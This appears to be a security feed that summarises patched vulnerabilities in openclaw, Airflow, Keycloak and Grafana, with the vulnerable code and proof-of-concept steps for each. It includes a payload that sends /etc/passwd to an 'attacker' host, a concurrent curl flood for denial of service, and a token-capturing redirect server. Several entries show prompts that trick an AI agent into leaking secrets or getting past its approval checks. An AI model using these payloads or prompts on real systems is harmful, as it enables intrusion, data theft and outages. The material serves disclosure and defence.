“Exposing patches before CVEs since 2025”
Tuesday, September 1, 2026
Aug 19, 2026, 11:25 AM — openclaw/openclaw
Commit: 55f6700fe18f98d0e5ec02b7d8c20add204d281a
Author: Michael Appel
The vulnerable code consumed the pending Discord speaker context after awaiting an asynchronous active-run control. Concurrent final transcripts could update the pending context during that await, causing a non-owner's transcript to be attributed the owner's senderIsOwner=true context. This allowed a non-owner user's voice command to execute with owner-level permissions. The patch captures the fallback talkback speaker context before the await, preventing the race.
this.talkback.enqueue( acceptedText, forcedSpeakerContext ?? this.params.turns.consumePendingSpeakerContext(), );
1. Configure Discord voice agent-proxy with fallback talkback path (isAgentProxy=true, usesRealtimeAgentHandoff=false) and an owner Bob and guest Alice. 2. Alice begins a speaker turn (senderIsOwner=false) and emits a final transcript such as "OpenClaw, cancel that". The system calls maybeControlDiscordVoiceAgentRun and awaits an unresolved control promise. 3. Before Alice's control promise resolves, Bob begins a speaker turn (senderIsOwner=true) and emits a final transcript such as "OpenClaw, stop that", pushing Bob's owner context as pending. 4. Resolve Alice's control promise. The old code resumes after await and calls consumePendingSpeakerContext(), which returns Bob's pending context (senderIsOwner=true) instead of Alice's. 5. Alice's talkback/agent command is enqueued with senderIsOwner=true, granting her owner-level privileges for her command.
Aug 19, 2026, 10:29 AM — openclaw/openclaw
Commit: 2020fc2274e3bf1cd30de923dc2c3d5e876a6aa7
Author: Pavan Kumar Gondhi
Before the patch, the webhook authentication rate limiter keyed on req.socket.remoteAddress, which is the proxy IP when behind a reverse proxy. An attacker could send invalid signed requests through the proxy to exhaust the shared rate limit, causing legitimate clients behind the same proxy to be rejected with 429 errors before signature verification. The patch uses trusted-proxy client attribution to isolate rate limits per forwarded client IP.
const clientIp = req.socket.remoteAddress ?? "unknown";
if (!webhookAuthRateLimiter.check(clientIp, WEBHOOK_AUTH_RATE_LIMIT_SCOPE).allowed) {
res.writeHead(429);
res.end("Too Many Requests");
return;
}
# Attacker sends multiple invalid signed requests via proxy (10.0.0.1)
for i in {1..3}; do
curl -X POST https://bot.example.com/nextcloud-talk-webhook \
-H "X-Nextcloud-Talk-Signature: invalid" \
-H "Content-Type: application/json" \
-d '{"message":"attack"}'
done
# Legitimate client behind same proxy sends valid signed request
curl -X POST https://bot.example.com/nextcloud-talk-webhook \
-H "X-Nextcloud-Talk-Signature: <valid-signature>" \
-H "Content-Type: application/json" \
-d '{"message":"hello"}'
# Expected response: 429 Too Many Requests (before patch), despite valid signature
Aug 19, 2026, 09:48 AM — apache/airflow
Commit: 04145448135cfcc53644e8ca1a15fa188b129851
Author: Jarek Potiuk
The DELETE endpoints for asset queued events authorized the DAG axis with requires_access_dag(method="GET"), a read-level check, while performing a write operation that cancels a DAG's pending asset-triggered scheduling. A user with only read permission on a DAG but delete permission on the global Assets resource could delete queued events, suppressing that DAG's asset-triggered runs. The patch changes the DAG axis to require edit (PUT), preventing unauthorized writes to DAG scheduling state.
dependencies=[
Depends(requires_access_asset(method="DELETE")),
Depends(requires_access_dag(method="GET")),
Depends(action_logging()),
],
A user with role permissions can_read on DAG 'my_dag' and can_delete on the global 'Assets' resource sends: DELETE /api/v2/dags/my_dag/assets/queuedEvents. Before the patch, the API requires only GET on the DAG, so the request returns 204 and deletes rows from AssetDagRunQueue for 'my_dag', cancelling any pending asset-triggered DAG runs. After the patch, the same request returns 403 because the DAG axis now requires PUT (edit) permission.
Aug 19, 2026, 08:52 AM — openclaw/openclaw
Commit: 94eb34fa78088f1a8fe33bbe2736279273997d77
Author: Peter Steinberger
Before the patch, Skill Workshop apply/reject requests did not include the reviewed revision hash. This allowed a race condition where an attacker could modify a proposal after an operator reviewed it but before the operator's decision was submitted, causing the decision to apply to a different, unreviewed revision. The patch binds every decision to the exact reviewed revision through an expectedRevisionHash and rejects stale decisions with SKILL_PROPOSAL_REVISION_CHANGED.
let method = action == .apply ? "skills.proposals.apply" : "skills.proposals.reject"
_ = try await self.request(
method: method,
params: IPadSkillProposalInspectParams(
agentId: self.selectedAgentParam,
proposalId: proposal.id),
timeoutSeconds: 30)
1. Attacker submits a Skill Workshop proposal containing benign content, e.g., `print('hello')`, obtaining revision hash H1.
2. Operator reviews the proposal and sees H1 content.
3. Before the operator clicks Apply, the attacker updates the proposal to malicious content, e.g., `os.system('curl http://attacker/$(cat /etc/passwd)')`, resulting in revision H2.
4. Operator clicks Apply. The vulnerable client sends:
`{"method":"skills.proposals.apply","params":{"agentId":"main","proposalId":"proposal-1"}}`
(no expectedRevisionHash).
5. The server applies the current H2 revision, executing the malicious skill, even though the operator never reviewed it.
After the patch, the client includes `expectedRevisionHash: "H1"`; the server detects mismatch and returns `SKILL_PROPOSAL_REVISION_CHANGED`, preventing the unauthorized action.
Aug 19, 2026, 08:38 AM — openclaw/openclaw
Commit: 16c87e69a633234b473a6220ee4c38ce048b5b69
Author: Ayaan Zaidi
The tool factory used the sandbox/policy key (agentSessionKey) instead of the caller's durable run session key when resolving the caller agent and constructing session lookup tools. In multi-agent deployments, this could cause session list/search/history requests to be issued under an ownerless 'global' policy identity, potentially bypassing per-agent authorization and leaking other agents' session data. The patch switches to runSessionKey (with fallback to agentSessionKey) to ensure the originating agent's identity is used for scoping.
// Before patch (two locations)
const { sessionAgentId } = resolveSessionAgentIds({
- sessionKey: options?.agentSessionKey,
+ sessionKey: options?.runSessionKey ?? options?.agentSessionKey,
...
const sessionLookupToolOptions = {
- agentSessionKey: options?.agentSessionKey,
+ agentSessionKey: options?.runSessionKey ?? options?.agentSessionKey,
In a multi-agent host with agents 'alice' and 'bob', Alice's model in Code Mode calls sessions_list without an explicit scope. Before the patch, the tool issued a gateway request with params.spawnedBy = 'global' (the sandbox policy key), which the gateway treats as an administrative/ownerless context with visibility to all sessions. The response includes Bob's private session entries, leaking cross-agent data. After the patch, the same call uses spawnedBy = 'agent:alice:main' (Alice's runSessionKey), and the gateway applies agent-to-agent authorization, returning only Alice's own sessions or those explicitly allowed.
Aug 19, 2026, 08:35 AM — openclaw/openclaw
Commit: 67750753a2983b653087083ab7bd5ffcc342cfb1
Author: Peter Steinberger
Before the patch, any authenticated Gateway user could call users.setGitHubIdentity to claim any GitHub username without proving ownership of the GitHub account. This allowed an attacker to set their profile's GitHub identity to a victim's username, causing commits created from their sessions to include a forged Co-authored-by trailer for the victim. The patch removes the mutating methods and derives GitHub identity only from authenticated sign-in, binding it to the verified numeric GitHub account id.
UsersSetGitHubIdentity("users.setGitHubIdentity"),
UsersClearGitHubIdentity("users.clearGitHubIdentity"),
1. Authenticated attacker connects to Gateway WebSocket/RPC.
2. Sends: {"type":"req","id":"1","method":"users.setGitHubIdentity","params":{"username":"victim"}}
3. Server accepts and stores victim's GitHub identity on attacker's profile (no GitHub OAuth proof required).
4. Attacker enables Git co-author credit and prompts the agent to create a commit.
5. The resulting commit message includes: Co-authored-by: victim <[email protected]>
Thus the attacker forges the victim's identity in the repository's commit history.
Aug 19, 2026, 08:31 AM — openclaw/openclaw
Commit: fef5fc55f45703e12738dfbe5bf93cfd2a4f6635
Author: Peter Steinberger
The node_process tool was mislabeled as controlling remote-node background sessions, but it actually operated on the Gateway-local process registry. This allowed an attacker with permission to use node_process (but not gateway_process) to enumerate or kill Gateway background processes, bypassing the intended policy separation between remote node and Gateway execution. The patch removes the node_process tool entirely, eliminating the mislabeled tool that could cause cross-session interference or policy violation.
if (!isCodexDynamicToolExcluded(input.pluginConfig, ["process", CODEX_NODE_PROCESS_DYNAMIC_TOOL_NAME]) && !filteredTools.some((tool) => normalizeCodexDynamicToolName(tool.name) === CODEX_NODE_PROCESS_DYNAMIC_TOOL_NAME)) { toolsToAppend.push(createProcessAliasDynamicTool(processTool, "node")); }
1. Configure Codex with tools.exec.host: 'node' and a tool allowlist that includes node_exec and node_process but excludes gateway_process.\n2. Send a prompt to the Codex agent: 'Use node_process with action list to see all background sessions.'\n3. The agent invokes node_process with action: 'list', which returns the Gateway-local process registry, including sessions beyond the intended remote node scope.\n4. Similarly, an attacker could invoke node_process with action 'kill' and a Gateway session ID to terminate unrelated processes, causing denial of service or cross-session interference.
Aug 19, 2026, 07:02 AM — openclaw/openclaw
Commit: 49d8cfd3934ee6c66d617b0279565272d23d836f
Author: Peter Steinberger
The patch fixes a vulnerability where an explicitly configured but policy-blocked SearXNG base-URL SecretRef was treated as missing, causing fallback to the ambient SEARXNG_BASE_URL environment variable and bypassing the provider/env allowlist. This could allow unauthorized use of a SearXNG instance or enable SSRF to internal resources. The patch introduces tri-state read-only resolution that distinguishes blocked from missing, and only falls back when the SecretRef is genuinely absent.
if (normalizeResolvedSecretInputString(baseUrlSecretRef) === undefined) {
return process.env.SEARXNG_BASE_URL;
}
An attacker with the ability to supply plugin configuration sets the SearXNG baseUrl to a SecretRef that is blocked by the env allowlist: { "source": "env", "id": "SEARXNG_BASE_URL" }. The environment has SEARXNG_BASE_URL=http://169.254.169.254/latest/meta-data (or an internal service). Before the patch, the blocked SecretRef is ignored, the ambient environment variable is read, and the system uses the attacker-influenced URL as the SearXNG base, sending queries and potentially exfiltrating data or reaching internal endpoints. After the patch, the blocked SecretRef is authoritative, no fallback occurs, and an error is returned.
Aug 19, 2026, 05:50 AM — openclaw/openclaw
Commit: 49231ff7817411eaa6b661e90e84d4ea94998d3a
Author: Peter Steinberger
Before the patch, `authorizeControlUiReadRequest` fell back to device-token authentication when shared-secret auth failed, but after validating the device token it returned true immediately without enforcing the required operator scope (e.g., `assistant.media.get` or `operator.read`). This allowed a paired device token with no relevant scopes to access read-only Control UI endpoints such as assistant media, workspace icons, or channel avatars. The patch replaces this custom logic with `authorizeControlUiReadRequestOrReply`, which carries verified scopes through the authorizer and enforces the required scope for all auth methods.
const trustDeclaredOperatorScopes = authMethod === "trusted-proxy" || authMethod === "tailscale";
...
if (!trustDeclaredOperatorScopes) {
return true;
}
GET /control-ui/api/workspace-icons/workspace:acme HTTP/1.1 Host: 127.0.0.1:4096 Authorization: Bearer <device-token-without-operator.read-scope> Before patch: The server validates the device token, falls back to device-token auth, and returns 200 OK with the workspace icon data, bypassing the required `operator.read` scope. After patch: The unified authorizer checks the device token's scopes and returns 403 Forbidden with a missing-scope error.
Aug 19, 2026, 04:21 AM — openclaw/openclaw
Commit: b4a720ff1e876fbb3de69111ef30eaa5daf6e517
Author: Peter Steinberger
The force parameter in the worktree removal API was overloaded to bypass not only snapshot-loss protection but also live-run lease and foreign Git lock checks. A user with permission to remove worktrees could set force:true to delete another user's active worktree, causing denial of service and loss of uncommitted changes. The patch separates snapshot-loss consent (allowSnapshotLoss) from lifecycle authority, making lease and lock checks unconditional.
if (!params.force && livePids.length > 0) {
throw new WorktreeRemovalContentionError("busy", `worktree is busy: locked by live pid ${livePids[0]}`);
}
...
if ((state.kind === "live" || state.kind === "foreign") && !force) {
As a low-privileged user with worktree removal permissions, identify a victim's worktree ID that has an active run lease (e.g., from list worktrees API). Execute the CLI command:
openclaw worktrees remove --force <victim-worktree-id>
Before the patch, the force flag bypasses the live-run lease check, and the worktree is deleted while the victim's run is still active, causing the run to fail and potentially losing uncommitted changes. After the patch, the command fails with an error ('worktree is busy') and the worktree remains intact.
Aug 19, 2026, 02:18 AM — openclaw/openclaw
Commit: 23da04ba8af4a94df1ab41c70e45b10d2df1a647
Author: ClawSweeper
Before the patch, when an agent run completed with an authoritative silent or empty terminal reply, the waiting code would ignore that terminal reply and fall back to reading the latest assistant message from the session transcript. This could resurrect private or sensitive content from earlier assistant turns that the agent intended not to expose as final output, leading to unauthorized disclosure of private transcript text. The patch ensures that any present terminal reply (visible, silent, or empty) is treated as authoritative, preventing transcript fallback and the associated information leak.
if (wait.terminalReply?.disposition === "visible") {
return { ...wait, replyText: wait.terminalReply.text };
}
const latestReply = await readLatestAssistantReplySnapshot({ ... });
// Mock gateway: agent.wait returns an authoritative silent terminal reply,
// but history contains a secret from an earlier assistant message.
callGateway.mockImplementation(async (request) => {
if (request.method === "agent.wait") {
return { status: "ok", terminalReply: { disposition: "silent" } };
}
if (request.method === "agent.history") {
return { messages: [{ role: "assistant", content: [{ type: "text", text: "SECRET: top-secret-token" }] }] };
}
throw new Error("unexpected call");
});
// Call the vulnerable function.
const result = await waitForAgentRunAndReadUpdatedAssistantReply({
runId: "run-1",
sessionKey: "agent:main:child",
timeoutMs: 1000,
baseline: { text: "older reply" },
});
// Before patch: result.replyText === "SECRET: top-secret-token" (leaked).
// After patch: result.replyText is undefined and no history call is made.
console.log(result.replyText);
Aug 19, 2026, 01:00 AM — openclaw/openclaw
Commit: 6ccc57b331ae03de5c5df61cf00208769c6a8267
Author: Samuel Judson
Beam mirror upload code followed HTTP redirects when sending session snapshots to a configured endpoint. An attacker who could induce a 307/308 redirect (e.g., via an open redirect on the receiver or a compromised receiver) could cause the POST body containing sensitive coding session content to be replayed to an arbitrary internal or attacker-controlled URL, bypassing SSRF guards. The patch stops redirect following and treats redirect responses as terminal, preventing the replay.
fetch(endpoint, {
method: 'POST',
headers: { authorization: `Bearer ${token}` },
body,
redirect: 'follow',
});
// Receiver returns a 307 redirect to an internal attacker-controlled server
const receiver = createServer((req, res) => {
res.statusCode = 307;
res.setHeader('Location', 'http://127.0.0.1:9999/steal');
res.end();
});
// Internal server logs leaked data
const internal = createServer((req, res) => {
let body = '';
req.on('data', c => body += c);
req.on('end', () => {
console.log('Leaked Authorization:', req.headers.authorization);
console.log('Leaked session body:', body);
res.end();
});
});
// Beam mirror endpoint set to receiver URL, with a bearer token
// Before the patch, the mirror runner's upload follows the redirect and
// sends the session content to 127.0.0.1:9999/steal. After the patch,
// the redirect is blocked and no internal request is made.
Aug 18, 2026, 11:58 PM — openclaw/openclaw
Commit: 10610d9f639ea944f48ebc5a934f238f1fc17a80
Author: Samuel Judson
The gateway tool denial list did not normalize tool names, so aliases like 'cron' did not match the canonical tool name 'automations'. This allowed a tool to be invoked even when explicitly denied in the gateway configuration. The patch normalizes both the deny set and tool names, ensuring deny rules are enforced across aliases.
const gatewayDenySet = new Set([ ...defaultGatewayDeny, ...ownerOnlyGatewayDeny, ...(Array.isArray(gatewayToolsCfg?.deny) ? gatewayToolsCfg.deny : []), ...excludedToolNames, ]); const tools = applyToolAvailabilityDescriptions( policyFiltered.filter((tool) => !gatewayDenySet.has(tool.name)), );
Configure gateway with allow ['automations'] and deny ['cron']. Then invoke the cron tool via the gateway HTTP API with a valid token: curl -X POST https://gateway/api/tools/cron -H 'Authorization: Bearer <token>' -d '{"action": "schedule", "command": "id"}'. Before patch, the request succeeds and schedules the command; after patch, it returns 404.
Aug 18, 2026, 11:18 PM — openclaw/openclaw
Commit: 50720c3b8e57c70aaa336aab2f382434c66445f2
Author: Josh Avant
Before the patch, the Codex approval bridge allowed operators to grant persistent ('allow-always') approval for command executions even when the native Codex request only supported one-shot ('accept') approval. This caused the Gateway to store an allow-always decision for actions that should have been one-shot, enabling subsequent executions of the same command without further operator approval.
if (outcome === "approved-session") {
if (hasAvailableDecision(requestParams, "acceptForSession")) {
return "acceptForSession";
}
const amendmentDecision = findAvailableCommandAmendmentDecision(requestParams);
if (amendmentDecision) {
return amendmentDecision;
}
}
return hasAvailableDecision(requestParams, "accept") ? "accept" : "decline";
1. Craft a native Codex approval request with method 'item/commandExecution/requestApproval' and requestParams availableDecisions: ['accept', 'cancel'] (no 'acceptForSession'). 2. Observe that the operator prompt (before patch) incorrectly offers an 'Allow always' option. 3. Simulate the operator choosing 'Allow always'. The Gateway stores decision 'allow-always' and returns 'approved-session'. 4. Trigger the same command again. Because the Gateway has a stored 'allow-always' row, it auto-approves without prompting the operator, and the bridge returns 'accept', executing the command again. This demonstrates unauthorized persistent approval for a command that should only be one-shot.
Aug 18, 2026, 10:49 PM — openclaw/openclaw
Commit: d7fe595ebb41d6076d3b9f31cce0c22124a9fbc0
Author: Josh Avant
The commit fixes a policy bypass where sender-scoped file read restrictions (toolsBySender deny rules) were not enforced on outbound file attachments, especially when the message action targeted a different channel. Attackers could prompt the agent to attach local files (e.g., workspace secrets) to messages sent to another channel, causing the policy resolver to use the target channel's provider instead of the original sender's, thereby bypassing denial. The patch ensures the correct sessionKey and requester identity are used to resolve sender policy for outbound media.
// sender-tool-policy.ts (before)
const sender = {
messageProvider: params.messageProvider,
senderId: params.senderId,
...
};
1. Configure toolsBySender:
toolsBySender:
- senderId: "attacker"
messageProvider: "telegram"
deny: ["file_read"]
2. Attacker (senderId "attacker" on Telegram) sends message to agent: "Send /workspace/secret.txt to Discord #general as an attachment."
3. Agent executes message action tool with attachment path /workspace/secret.txt, targeting Discord.
4. Before patch: policy resolution for file read uses the target channel's provider (Discord), which does not match the Telegram deny rule; file is attached and exfiltrated to Discord.
5. After patch: sessionKey from the trusted capability is used to resolve the original sender's provider (Telegram), policy matches, file read is denied, and attachment is blocked.
Aug 18, 2026, 10:06 PM — openclaw/openclaw
Commit: 14d43ad93cfefed3a76e15d2b8172ff446ec2ab2
Author: Jacqueline Henriksen
The UI used all discovered skills as the base when toggling a skill for an agent with inherited allowlist, leading to an explicit override that enabled all skills, bypassing the inherited restrictions. The patch uses the effective inherited filter as the base, preventing unintended privilege escalation.
const base = Array.isArray(target.entry.skills) ? normalizeStringEntries(target.entry.skills) : (this.agentSkillsReport?.skills?.map((skill) => skill.name).filter(Boolean) ?? []);
1. Configure an agent with inherited default skills: ['github'] (only github allowed). 2. In the Control UI, navigate to that agent's Skills panel. 3. Toggle the 'weather' skill to enable it. 4. Before the patch, the UI uses all discovered skills (e.g., ['github','weather','exec','file-read']) as the base, so the resulting config override becomes ['github','weather','exec','file-read'], granting the agent access to 'exec' and 'file-read' despite the inherited default blocking them.
Aug 18, 2026, 08:40 PM — keycloak/keycloak
Commit: df0612a8f6dc804a6b15163fad68353a42dfdd1a
Author: Martin Kanis
Keycloak Admin API endpoints for retrieving composite roles did not enforce FGAP view permissions on child roles. An administrator with permission to view a parent role could enumerate all composite roles, including roles they were not authorized to view, leaking role names and IDs. The patch adds filtering by auth.roles().canView() to the relevant composite retrieval methods.
return role.getCompositesStream().map(ModelToRepresentation::toBriefRepresentation);
1. Create client A with role 'parent' that has composites 'childA' (from client A) and 'secret' (from client B).
2. Create admin user with manage-realm and grant FGAP view permission on client A (including 'parent') but no view permission on client B or 'secret'.
3. Authenticate as that admin and call:
GET /admin/realms/test/clients/{clientA-id}/roles/parent/composites
4. Before the patch, response includes the 'secret' role object; after the patch, it is filtered out.
Aug 18, 2026, 08:37 PM — openclaw/openclaw
Commit: f59392fdf5e6b1e2f941bfb766beec685e221be7
Author: Peter Steinberger
The 'openclaw channels logs' command read the gateway log file directly and printed raw log lines without applying secret redaction. This allowed sensitive values present in the log file (e.g., credentials, tokens, secrets) to be exposed in CLI output. The patch routes the command through the canonical log-tail reader that applies pattern redaction and the registered-secret registry, preventing credential leakage.
const tailLines = await readTailLines(logPath, { lines });
return { file: logPath, channel, lines: tailLines.map(line => ({ message: line })) };
Registry contains a secret value 'sup3r-secret-token'. Gateway log line: {"time":"...","0":"Authorization: Bearer sup3r-secret-token","_meta":{...}}. Run: openclaw channels logs --channel all --json. Before patch, output includes: "message": "Authorization: Bearer sup3r-secret-token". After patch, output redacted to: "message": "Authorization: Bearer sup…token".
Aug 18, 2026, 08:23 PM — keycloak/keycloak
Commit: 9754d88f0f497bfc22838202902ceef87a390844
Author: Martin Kanis
In Keycloak with fine-grained admin permissions v2 enabled, endpoints for user/group role mappings failed to verify that the caller has view permission on the client or role. As a result, an admin with view permission on a user or group could query role mappings for any client and receive role representations (names, IDs, attributes) for clients they were not authorized to view. The patch adds auth.roles().requireView(client) and filters role mapping streams based on role container permissions.
viewPermission.require(); return user.getClientRoleMappingsStream(client).map(ModelToRepresentation::toBriefRepresentation);
As a limited admin with 'view-users' permission but no 'view' permission on a client named 'hidden-client', send GET /admin/realms/{realm}/users/{target-user-id}/role-mappings/clients/{hidden-client-id}. Before the patch, the response contains the hidden client roles (e.g., [{"name":"secret-role","clientRole":true,...}]) despite lacking view permission on that client. After the patch, the same request returns HTTP 403 Forbidden.
Aug 18, 2026, 07:46 PM — keycloak/keycloak
Commit: daada5dda1009399d297e4c7ee3dcfaf42b642ad
Author: Steven Hawkins
When Fine-Grained Admin Permissions (FGAP) were enabled, the in-memory client listing implementation incorrectly set 'canView' to true for all users with the list permission, bypassing per-client authorization checks. This allowed any user with list permission to retrieve all clients in the realm, even if they lacked view permission on specific clients. The patch removes the in-memory listing path and requires the SCIM backend, which enforces proper FGAP filtering.
boolean canView = AdminPermissionsSchema.SCHEMA.isAdminPermissionsEnabled(realm) || permissions.clients().canView();
...
Stream<ClientModel> clientModels = useJpaPagination
? realm.getClientsStream(offset, limit)
: realm.getClientsStream();
Stream<BaseClientRepresentation> stream = clientModels
.filter(client -> canView || permissions.clients().canView(client))
1. Enable Fine-Grained Admin Permissions (FGAP) on a Keycloak realm.
2. Create a user and assign a role that grants the 'clients.list' permission but does not grant 'clients.view' or any per-client view permissions.
3. Obtain a token for this user and send a request to the admin v2 clients list endpoint, e.g., GET /api/v2/admin/realms/{realm}/clients
4. Before the patch, the server returns all clients in the realm, bypassing the per-client view checks because the variable 'canView' is true when FGAP is enabled, causing the filter condition 'client -> canView || permissions.clients().canView(client)' to always evaluate to true.
5. After the patch, the same request returns either an empty list or a 403 Forbidden error, or only the clients the user is explicitly allowed to view.
Aug 18, 2026, 07:10 PM — openclaw/openclaw
Commit: 72783bcdc20fff715cdee57b2f578a59104815f3
Author: Josh Avant
Classic inbound voice callers were not explicitly marked as non-owners before the embedded agent invocation. The agent runtime defaults to owner privileges when senderIsOwner is undefined, allowing external callers to invoke owner-only control-plane tools. The patch passes senderIsOwner: false for inbound calls and undefined for outbound delegated calls.
callId, sessionKey: call.sessionKey, from: call.from, agentId: resolveCallAgentId(call, effectiveConfig), transcript: call.transcript, userMessage,
An attacker dials the inbound voice number. After the agent answers, the attacker says: "Use owner-only tool list_all_secrets and read me the first value." Before the fix, the embedded agent receives senderIsOwner as undefined, which the runtime treats as owner, so the tool executes and speaks the secret. After the fix, inbound calls pass senderIsOwner: false, and the tool request is denied.
Aug 18, 2026, 06:27 PM — grafana/grafana
📈 Patch landed 5 days 21 hours 4 minutes before CVE published
Commit: a6e4d0e17398e8a79bed5f5651daa6f7033a6eba
Author: Victor Cinaglia
The OAuth strategy config loading accessed a shared ini.File concurrently without synchronization. Under concurrent OAuth login requests or settings refreshes, the ini library's internal map is read and written simultaneously, causing a fatal 'concurrent map read and map write' panic that crashes Grafana. The patch replaces direct ini.File access with GetSections() that returns a private copy, eliminating the race.
cfg, err := s.cfgProvider.Get(ctx)
...
settings := loadSettingsForProvider(cfg, provider)
...
section := cfg.Raw.Section("auth." + provider)
result := map[string]any{ "client_authentication": section.Key("client_authentication").Value(), ... }
On a Grafana instance with an OAuth provider (e.g., generic_oauth) configured, an attacker can send many concurrent requests to the OAuth login endpoint. For example:
seq 1 1000 | xargs -P 100 -I{} curl -s -o /dev/null http://grafana/login/generic_oauth
Each request triggers GetProviderConfig, which reads the shared ini.File cached by the enterprise ConfigProvider. When multiple goroutines call section.Key() on the same ini.Section, the Go runtime detects concurrent map read/write and aborts with a fatal error, causing a denial of service.
Aug 18, 2026, 05:55 PM — apache/airflow
Patch landed 5 days 23 hours 23 minutes after CVE published
Commit: f01520cbd1b20ac6beef80e244452adfa39566c9
Author: Jarek Potiuk
The GET /api/v2/assets/events endpoint returned AssetEvent rows for all Dags without enforcing per-Dag authorization, relying only on the global 'Assets' resource check. A user with read access to only one Dag and global asset read could retrieve event details (source Dag, task, run identifiers, and task-authored 'extra' payloads) from other Dags. The patch adds PermittedAssetEventFilter to scope events to the Dags the caller may read, while keeping events with no source Dag visible.
name_prefix_pattern: QueryAssetNamePrefixPatternSearch,
extra_filter: QueryAssetEventExtraFilter,
timestamp_range: Annotated[RangeFilter, Depends(datetime_range_filter_factory("timestamp", AssetEvent))],
session: SessionDep,
) -> AssetEventCollectionResponse:
"""Get asset events."""
An attacker with read access to only DAG 'attacker_dag' and the global 'Assets' resource can call:
curl -H "Authorization: Bearer <attacker_token>" \
"https://airflow.example.com/api/v2/assets/events?source_dag_id=victim_dag"
Before the patch, this returns events from victim_dag, including:
{
"asset_events": [
{
"id": 42,
"source_dag_id": "victim_dag",
"source_task_id": "extract",
"source_run_id": "scheduled__2025-01-01T00:00:00+00:00",
"extra": {"customer_secret": "..."}
}
],
"total_entries": 1
}
Aug 18, 2026, 05:43 PM — apache/airflow
Commit: 7b94de7d4d3bd768bd9b56f7800e6304e9110207
Author: Jarek Potiuk
Before the patch, Azure AD id_tokens were decoded with only signature verification against Microsoft's common multi-tenant key set. The token's issuer and audience were not enforced, so any correctly signed token from any Azure AD tenant could be accepted by the Airflow OAuth login. This allowed an attacker to log in as an arbitrary user or gain admin roles if the token contained forged roles, leading to authentication bypass and potential privilege escalation. The patch pins the iss claim to the configured tenant and the aud claim to the application's client_id, and rejects configurations that do not identify a single tenant.
keyset = JsonWebKey.import_key_set(self._get_microsoft_jwks()) claims = authlib_jwt.decode(id_token, keyset) claims.validate() return claims
1. Configure Airflow Azure OAuth with common endpoints (https://login.microsoftonline.com/common/oauth2/v2.0/authorize and /token).
2. Attacker registers an Azure AD application in their own tenant with an app role named 'Admin' and assigns it to their user.
3. Attacker obtains a Microsoft-signed id_token for that application, e.g., using MSAL: token = msal_app.acquire_token_by_authorization_code(code, scopes=['openid'], response_type='id_token').
4. Send the id_token to the Airflow OAuth callback or inject it into the token exchange flow. Before the patch, the call authlib_jwt.decode(id_token, keyset) verifies only the signature because keyset is from login.microsoftonline.com/common/discovery/keys, and claims.validate() does not enforce iss or aud.
5. The token is accepted, and get_oauth_user_info() reads the attacker-controlled roles ('Admin') and email, creating/admin-authenticating the attacker in Airflow.
After the patch, the same token is rejected because its iss is not one of [https://login.microsoftonline.com/<configured-tenant>/v2.0, https://sts.windows.net/<configured-tenant>/] and its aud is not the Airflow app's client_id.
Aug 18, 2026, 05:17 PM — openclaw/openclaw
Commit: 96d603f53023ccea028362afa1297a9cd37cef99
Author: Peter Steinberger
Before the patch, gateway session create/fork/recover handlers did not correctly enforce session participation boundaries for multi-profile operators with write scope. An operator could apply lifecycle operations (e.g., fork/recover) to a session they were not a participant in, copying its transcript or reusing its data. The patch adds method-specific protocol target extraction and revalidates participation inside the SQLite commit transactions via commitGuard, returning SESSION_PARTICIPATION_REQUIRED.
const authority = createAgentRuntimeAuthorityGuard(client, context, respond);
...
const recovered = await recoverGatewaySession({
...
...(authority.commitGuard ? { commitGuard: authority.commitGuard } : {}),
// Attacker is an operator with scopes ["operator.write"] but is not a participant
// of the victim's session "agent:main:victim".
const req = {
type: "req",
method: "sessions.fork",
params: { sessionKey: "agent:main:victim", entryId: "user-entry" },
client: {
authenticatedUserProfile: { profileId: "attacker" },
connect: { role: "operator", scopes: ["operator.write"] }
}
};
// Before patch, the gateway handler used the wrong protocol field for authorization
// (or lacked revalidation inside the SQLite transaction), so it invoked the fork logic
// and returned a new session containing the victim's transcript events.
// After patch, the same request returns:
// { ok: false, error: { details: { code: "SESSION_PARTICIPATION_REQUIRED" } } }
// and the handler is never called.